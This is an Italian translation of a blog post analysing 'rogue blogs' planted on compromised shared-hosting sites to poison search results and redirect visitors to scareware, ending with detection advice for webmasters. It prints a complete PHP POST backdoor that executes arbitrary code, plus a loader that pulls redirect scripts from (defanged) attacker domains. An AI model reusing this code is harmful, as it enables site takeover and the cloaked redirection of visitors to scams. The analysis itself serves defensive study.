Funzioni interne dei rogue blog

Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites. Blog.

A novembre, ho scritto in merito ai rogue blog , creati nelle sottodirectory di siti legittimi. I blog contaminavano i risultati delle ricerche di Google per milioni di parole chiave relativamente poco comuni (the long tail), reindirizzando i visitatori a siti web scareware.

Questo hack principalmente interessava i siti ospitati sul network Servage .

Recentemente sono stato contattato da uno dei clienti di Servage che ha trovato alcuni dei propri siti violati:

ho notato traffico anomalo verso domini parzialmente o interamente utilizzati per gli indirizzi email (SMTP forwarding, niente di così ‘intelligente’ con la webmail.). Questo m’ha portato ad analizzare le strutture dei file ed una rapida occhiata su Google mi ha portato al tuo sito.

Mi ha inviato il file incriminato che si trovava nel suo account (grazie Matthew). Ora posso condividere la mia analisi dei file con tutti voi.

Nel mio post precedente, ho speculato sulla struttura interna dei rogue blog. Ora che ho i file, posso dire che tutte le mie ipotesi si sono rivelate corrette.

Motore del Blog

Appunto, un motore PHP full-optional ancora minimalista potenzia i rogue blog. L’intero motore è composto di soli 4 file:

  • index.php – file principale del motore. Meno di 500 righe di codice PHP. Meno di 18K byte su disco.
  • template.php – template delle pagine Web che utilizza i dati forniti da index.php. Circa 20 Kbytes.
  • categories.dat – categorie del blog serializzate.
  • . htaccess – rewrite rules per supportare gli URL SEO friendly.

Questo motore è veramente anonimo. Non sono riuscito a trovare eventuali credits. Nessun nome, o licenza. Solo il codice. L’unico indizio che ho trovato è stata questa stringa User-Agent delle richieste ping: WeirD blog engine.

Caratteristiche

Il motore può fare tutto ciò che ci si aspetta da un motore per blog.

  • aggiungere/rimuovere voci
  • separare le voci per categorie
  • mostrare le voci in ordine cronologico
  • supporto per gli url SEO friendly
  • notifica servizi come Ping-O-Matic, Technorati, Google Blogsearch, Weblogs sui nuovi post.
  • feed RSS
  • supporto per i trackback
  • supporto per template personalizzati

File semplici

Le voci (sono centinaia) sono memorizzate in semplici file . txt nella stessa directory. Questo rende il motore indipendente dal database, in modo da poter lavorare su più server. Gli unici requisiti sono:

  • PHP
  • autorizzazioni per le directory sufficienti per creare file
  • Apache (per usare URL SEO-friendly)

Ecco un esempio di uno di questi file di testo (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

Come potete notare i file sono chiari. Al titolo della prima riga segue subito il contenuto. Nel nostro caso il contenuto è composto da cinque immagini (i risultati della ricerca su Google Immagini per le parole chiave corrispondenti ).

. htaccess

Poiché lo scopo del rogue blog è la contaminazione dei risultati di ricerca, l’ url “SEO-friendly” è una caratteristica necessaria del motore di questo blog. Questo motore utilizza rewrite rules di .htaccess.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Caratteristiche dannose

Ciò che rende questi blog dannosi sono le seguenti modifiche al motore originale.

css.js

Tutte le pagine del blog contengono il seguente tag script:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

Lo script reindirizza i visitatori che provengono dai motori di ricerca verso siti scareware. Il contenuto di questo script cambia in maniera costante, reindirizzando le persone verso nuovi siti, non ancora presenti nelle blacklist.

Ecco come lo fanno dietro le quinte:

function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

Come si può vedere, questo codice cerca di aggiornare il file css.js, scaricando il suo nuovo contenuto da siti hacker:

t.xmlstats. in , t.jsonstats. in e, in alcune versioni del motore, t.jsstats. in .

In questo modo gli hacker si assicurano che i loro blog reindirizzino sempre verso siti scareware perfettamente funzionanti.

Anti-Googlebot

Un’altra modifica è rappresentata dal codice che individua le richieste provenienti dal network di Google, verificando l’indirizzo IP tra gli intervalli noti.

Se viene rilevata una richiesta da parte di Google, il file css.js viene sostituito con css.google.js .
In questo modo gli hacker cercano di nascondere i reindirizzamenti dannosi dal Googlebot quando indicizza i rogue blog.

Se molti blog simili compaiono nei risultati di ricerca di Google senza nessuna segnalazione, significa che questo semplice trucco fa bene il proprio lavoro.

Diverse generazioni

In novembre ho scoperto che c’erano state molte generazioni diverse di rogue blog. Controllando i file ricevuti da Matthew, ho trovato quelle generazioni in sottodirectory separate: blog, bmblog, bmsblog.

Script backdoor

Un altro file interessante che ho ricevuto è stato index.php, che precedeva le directory con i rogue blog:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

Questo è un tipico script backdoor che esegue qualunque codice PHP che gli hacker scelgano d’inviare nei parametri delle richieste POST.

Apparentemente questo script è stato utilizzato per creare tutti gli altri file e directory rogue. La questione è come mai questo script backdoor sia arrivato qui, al primo posto.

Quando Matthew ha chiesto a Servage cosa stesse accadendo ai suoi siti, lo hanno accusato di utilizzare script poco sicuri, nonostante il il fatto che il suo sito non utilizzasse nessun script.

Come ho mostrato nel mio post precedente , oltre l’85% dei blog rogue scoperti, sono ospitati da Servage; quindi sono quasi certo che sia stata utilizzata qualche vulnerabilità specifica di Servage.( Pura speculazione: ad esempio, potrebbe essere una shell php che gli hacker utilizzano per trovare account utente con directory scrivibili. E l’architettura interna di Servage potrebbe aiutare questo script a propagarsi su diversi server fisici. )

Ancora attivo

Nonostante la prima generazione di questi rogue blog sia apparsa in aprile dell’anno scorso, questo attacco è ancora attivo. Riesco ancora a vedere parecchi rogue bmsblog blog con le date dei post più recenti di marzo 2010. E alcuni di loro (non tutti comunque) possono essere trovati tramite una ricerca di Google inurl:bmsblog/category 2010.

Nonostante questo particolare attacco colpisca soprattutto i clienti della società di hosting Servage, è abbastanza tipico per questi hack tentare di creare pagine web rogue nei siti web compromessi. Quindi il seguente consiglio dovrebbe essere utile per la maggior parte dei webmaster.

1. Assicuratevi che le directory dei server siano scrivibili soltanto da voi. In particolare nel caso di un ambiente di hosting condiviso, dove gli hacker possono utilizzare un account neighbor compromesso per trovare le directory scrivibili negli altri siti sullo stesso server e creare contenuti rogue.

2. Effettuate un’analisi regolare del server alla ricerca di file e directory sospetti.

3. Controllate regolarmente i raw server log. Potreste trovare richieste di file che non dovrebbe essere presenti.

4. Prestare particolare attenzione alle richieste POST. Sono molto usate per gli script backdoor. Basta compilare un elenco di file accessibili tramite le richieste POST e verificare se ne riconoscete alcune.

5. Molti piani di hosting condiviso includono Webalizer . Ogni tanto controllate i suoi report. Nonostante non siano così utili come i rapporti di Google Analytics, hanno un vantaggio importante: tracciano tutti i file del vostro account, non solo quelli in cui è stato inserito un codice di monitoraggio. Così, in Webalizer, è possibile vedere le richieste dei file create dagli hacker, mentre in Google Analytics questo tipo di dati manca completamente .

6. Gli hacker, di solito, creano pagine web rogue per contaminare i risultati delle ricerche di Google. Quindi è naturale usare Google per rilevare questo tipo di hack. Utilizzate regolarmente Google per verificare ciò che è indicizzata sul tuo sito. Utilizzate il comando di ricerca site:you_site_domain.com

7. Controllate regolarmente i report in Strumenti per i Webmaster .
Potrebbero rivelare anche attività sospette. Report utili: Principali query di ricerca , Parole chiave , Link che rimandano al tuo sito .

8. Se trovate nuove directory con file rogue, negate loro i permessi in robots.txt .
Questo mostrerà a Google che non si desidera che queste directory vengano indicizzate. In caso contrario, anche se si elimina il file, Google può tenerli in indice per parecchio tempo (chi lo sa, forse l’avete rimosso temporaneamente mentre, per esempio, state riprogettando il sito).

Ad esempio, se trovate file pericolosi in /cgiproxy/bmsblog/ il file robots.txt deve essere:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. Non dimenticate gli altri tipi di hack che pasticciano con i file esistenti. Controllate regolarmente la coerenza del vostro sito e vigilate su qualsiasi contenuto illecito che gli hacker possano iniettare nelle pagine web ( in questo caso il mio servizio Unmask Parasites può aiutare).

Chiama per ulteriori informazioni

Questo caso non è stato ancora completamente investigato. Ad esempio, ancora non so perché colpisca soprattutto Servage e come esattamente si propaghi. Queste informazioni potrebbero esser utili ai clienti di Servage per prevenire l’infezione dei loro siti.
Probabilmente anche i ragazzi di Servage hanno bisogno di queste informazioni, visto che pare non possano fermare questo attacco da soli ( è in corso da circa un anno !!!)

Se avete informazioni interessanti su altri tipi di attacchi hacker, vi invitiamo a condividerle con me e i lettori di questo blog. Sono sempre alla ricerca di file dannosi che i webmaster trovino su server compromessi. Possono dire molto su come funzionino gli attacchi.

Quindi prima di eliminare qualsiasi contenuto pericoloso, prima di tutto contattatemi.

Grazie per aver letto questo blog. I vostri commenti sono benvenuti .

Post correlati:

Fonte: Internals of Rogue Blogs

Written by admin

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.